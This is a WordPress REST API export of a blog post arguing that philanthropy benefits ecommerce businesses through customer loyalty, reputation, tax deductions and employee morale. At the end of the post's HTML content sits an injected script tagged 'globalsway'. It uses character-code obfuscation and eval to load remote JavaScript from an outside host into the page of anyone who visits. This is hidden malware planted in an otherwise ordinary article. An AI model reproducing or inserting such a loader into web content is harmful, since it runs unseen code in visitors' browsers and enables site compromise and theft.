{"id":6112,"date":"2023-06-09T10:56:30","date_gmt":"2023-06-09T10:56:30","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/philanthropy-and-ecommerce\/"},"modified":"2023-06-09T10:56:30","modified_gmt":"2023-06-09T10:56:30","slug":"philanthropy-and-ecommerce","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/philanthropy-and-ecommerce\/","title":{"rendered":"Philanthropy and Ecommerce"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/philanthropy-and-ecommerce\/#Incites_Customer_Loyalty\" title=\"Incites Customer Loyalty\">Incites Customer Loyalty<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/philanthropy-and-ecommerce\/#Brand_Reputation_Boost\" title=\"Brand Reputation Boost\">Brand Reputation Boost<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/philanthropy-and-ecommerce\/#Encourage_Direct_Donations\" title=\"Encourage Direct Donations\">Encourage Direct Donations<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/philanthropy-and-ecommerce\/#Reduced_Tax_Liability\" title=\"Reduced Tax Liability\">Reduced Tax Liability<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/philanthropy-and-ecommerce\/#Motivates_Employees\" title=\"Motivates Employees\">Motivates Employees<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/benrmatthews.local\/philanthropy-and-ecommerce\/#Promotes_Year-Round_Giving\" title=\"Promotes Year-Round Giving\">Promotes Year-Round Giving<\/a><\/li><\/ul><\/nav><\/div>\n<p><span style=&quot;font-weight: 400;&quot;>From those to whom much is given, much is expected. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Philanthropic giving is an outstanding way of expressing your appreciation to the customer base providing the support your business needs to thrive and grow. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>What\u2019s more, according to the <a href=\"&quot;https:\/\/www.jstor.org\/stable\/10.1086\/209515?seq=1#metadata_info_tab_contents&quot;\" class=\"broken_link\">Journal of Consumer Research<\/a> demonstrating social consciousness gives your customers the impression your products are of exceptional quality. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>These are just two of the ways philanthropy and ecommerce can be good for one another.\u00a0<\/span><span style=&quot;font-weight: 400;&quot;>Here are some others.<\/span><\/p>\n<p><img class=&quot;aligncenter size-full wp-image-2392&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/10\/Philanthropy-and-ECommerce.png&quot; alt=&quot;Philanthropy and ECommerce&quot; width=&quot;718&quot; height=&quot;507&quot; \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Incites_Customer_Loyalty\"><\/span><b>Incites Customer Loyalty<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>If your customers know a percentage of every dollar they spend with you goes to support a charity in which they believe, they\u2019re <\/span><span style=&quot;font-weight: 400;&quot;>more likely to buy from you<\/span><span style=&quot;font-weight: 400;&quot;> than a competitor who does not\u2014even if your price is higher. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Strategic giving also tells shoppers your values align with theirs, which again leads to more customer loyalty. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>This can save you from having to participate in a race to the bottom, should a price war break out in your category. <\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Brand_Reputation_Boost\"><\/span><b>Brand Reputation Boost<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Even if people don\u2019t shop with you, they\u2019ll respect your brand when you\u2019re known for giving. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>In addition to differentiating your business from the others in your sector, you\u2019ll be perceived as more trustworthy and your ethics are less likely to be called into question. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>The logic goes, you must be a good company if you\u2019re giving up some of your profit to help people who are less fortunate than you.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Encourage_Direct_Donations\"><\/span><b>Encourage Direct Donations<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>In addition to giving on your own, you can encourage visitors to your site to donate directly to the charity through your web portal. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Along with your primary site, you can establish one specifically for giving. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>The design can be had at no charge when you take advantage of the offerings of one of the many <\/span><span style=&quot;font-weight: 400;&quot;>free ecommerce website<\/span><span style=&quot;font-weight: 400;&quot;> theme providers out there\u2014like Shopify for example.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Reduced_Tax_Liability\"><\/span><b>Reduced Tax Liability<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Donations to qualified organizations have the potential to reduce your taxable income, thereby lowering your <\/span><span style=&quot;font-weight: 400;&quot;>tax bill<\/span><span style=&quot;font-weight: 400;&quot;>.\u00a0<\/span><span style=&quot;font-weight: 400;&quot;>Event fees and parking costs, as well the money spent on travel related to charitable giving all qualify. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>However, you have to make sure the organization you choose qualifies as a charitable organization by the IRS. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>You have to donate either cash or property. You must also itemize your taxes and get a record of the contribution from the charitable entity. The documentation provided should always state the amount and date of the contribution.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Motivates_Employees\"><\/span><b>Motivates Employees<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>People feel good about working for companies with socially conscious philosophies that actually give. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>People employed by businesses that support charities are also more <\/span><span style=&quot;font-weight: 400;&quot;>proud of where they work.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>They have also been proven to be more productive, more highly motivated and more committed to working toward the success of the organization. <\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Promotes_Year-Round_Giving\"><\/span><b>Promotes Year-Round Giving<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Just about every company out there seems to suddenly develop \u201ca heart\u201d during the holiday season. Far from panning such organizations, we laud them for any effort they put forth. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>It remains to be said companies who walk the talk all year long tend to benefit more. It\u2019s just seen as a more sincere effort. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Far from an attempt to chide those who show up during the holidays, this is more an effort to commend those who know a hungry child needs to eat every day of the year\u2014in addition to the winter holidays. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Philanthropy and ecommerce can absolutely work together to improve the way people live. It also makes it easier for consumers to engage in charitable acts, even as they satisfy their needs and wants in the marketplace. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>If you\u2019ve yet to engage in benevolent giving, now is as good a time as any to start. <\/span><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>From those to whom much is given, much is expected. Philanthropic giving is an outstanding way of expressing your appreciation to the customer base providing the support your business needs to thrive and grow. What\u2019s more, according to the Journal of Consumer Research demonstrating social consciousness gives your customers the impression your products are of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-6112","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6112"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6112"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6112\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6112"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6112"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6112"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}